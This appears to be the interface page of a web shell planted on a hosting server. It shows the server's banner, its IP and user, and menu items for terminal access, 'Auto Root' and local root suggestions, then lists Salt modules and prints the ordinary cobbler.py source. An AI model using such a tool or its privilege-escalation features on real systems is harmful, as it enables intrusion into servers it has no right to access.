Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python3.6 /
site-packages /
salt /
tops /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2022-10-11 05:09
__init__.py
23
B
-rw-r--r--
2022-05-16 09:16
cobbler.py
1.36
KB
-rw-r--r--
2022-05-16 09:16
ext_nodes.py
2.69
KB
-rw-r--r--
2022-05-16 09:16
mongo.py
4.66
KB
-rw-r--r--
2022-05-16 09:16
reclass_adapter.py
4.66
KB
-rw-r--r--
2022-05-16 09:16
saltclass.py
6.8
KB
-rw-r--r--
2022-05-16 09:16
varstack_top.py
1.81
KB
-rw-r--r--
2022-05-16 09:16
Save
Rename
""" Cobbler Tops ============ Cobbler Tops is a master tops subsystem used to look up mapping information from Cobbler via its API. The same cobbler.* parameters are used for both the Cobbler tops and Cobbler pillar modules. .. code-block:: yaml master_tops: cobbler: {} cobbler.url: https://example.com/cobbler_api #default is http://localhost/cobbler_api cobbler.user: username # default is no username cobbler.password: password # default is no password Module Documentation ==================== """ import logging import xmlrpc.client # Set up logging log = logging.getLogger(__name__) __opts__ = { "cobbler.url": "http://localhost/cobbler_api", "cobbler.user": None, "cobbler.password": None, } def top(**kwargs): """ Look up top data in Cobbler for a minion. """ url = __opts__["cobbler.url"] user = __opts__["cobbler.user"] password = __opts__["cobbler.password"] minion_id = kwargs["opts"]["id"] log.info("Querying cobbler for information for %r", minion_id) try: server = xmlrpc.client.Server(url, allow_none=True) if user: server.login(user, password) data = server.get_blended_data(None, minion_id) except Exception: # pylint: disable=broad-except log.exception("Could not connect to cobbler.") return {} return {data["status"]: data["mgmt_classes"]}